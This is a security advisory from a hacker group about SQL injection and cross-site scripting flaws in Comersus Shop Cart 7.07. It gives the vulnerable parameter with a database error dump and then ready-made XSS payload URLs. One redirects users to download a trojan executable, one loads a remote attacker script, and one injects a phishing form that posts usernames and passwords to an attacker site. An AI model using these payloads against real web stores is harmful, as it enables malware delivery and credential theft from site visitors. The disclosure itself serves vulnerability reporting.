csc-sqlxss.txt

` ---> Comersus Shop Cart 7.07 SQL Injection & XSS  
  
Comersus is an active server pages (asp) software for running shopping stores, integrated with the rest of your web site. Comersus ASP Cart is free and IT CAN BE used for commercial purposes. An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.  
  
  
Hackers Center Security Group (http://www.hackerscenter.com)  
Credit: Doz  
  
Remote: YES  
Class: Cross Site Scripting  
  
Vendor: http://www.comersus.com  
Product Tested: Comersus Cart 7.07  
  
* Previous versions are also affected & so might 7.08!  
  
  
Attackers can exploit these issues via a web client.  
  
  
SQL Hole: /store/comersus_optReviewReadExec.asp?idProduct='  
  
------------------------------------------------------------  
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  
  
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'idProduct=&#39'.  
  
/demo707/includes/databaseFunctions.asp, line 38  
------------------------------------------------------------  
  
  
Cross Site Scripting Pages:  
  
/comersus_customerAuthenticateForm.asp  
  
/comersus_message.asp  
  
  
Exploit:  
  
1.  
path/store/comersus_customerAuthenticateForm.asp?redirectUrl=comersus_customerS  
howOrders.asp/XSS  
  
or  
  
/path/store/comersus_customerAuthenticateForm.asp?redirectUrl=comersus_customer  
ShowOrders.asp=XSS  
  
  
2.  
http://www.site.com/path/store/comersus_message.asp?message=XSS  
  
  
Posible Cross Site Scripting Exploits  
  
  
1. Trojan or Worms!  
  
https://www.site.com/path/store/comersus_customerAuthenticateForm.asp?redirectU  
rl="><script>window.location="http://www.Evil_Site.com/Trojan.exe"</script>  
  
2. Any Remote Script!  
  
http://www.site.com/path/store/comersus_message.asp?message=<script  
src=http://www.Site.com/Evil_Script.js></script>  
  
3. Phishing!  
  
http://www.site.com/path/store/comersus_message.asp?message=<form%20action="htt  
p://www.Evil_Site.com/Steal_Info.asp"%20method="post">Username:<input%20name="u  
sername"%20type="text"%20maxlength="10"><br>Password:<input%20name="password"%2  
0type="text"%20maxlength="10"><br><input%20name="login"%20type="submit"%20value  
="Login"></form>  
  
  
Pic: http://i15.tinypic.com/4xzcd92.jpg  
  
  
  
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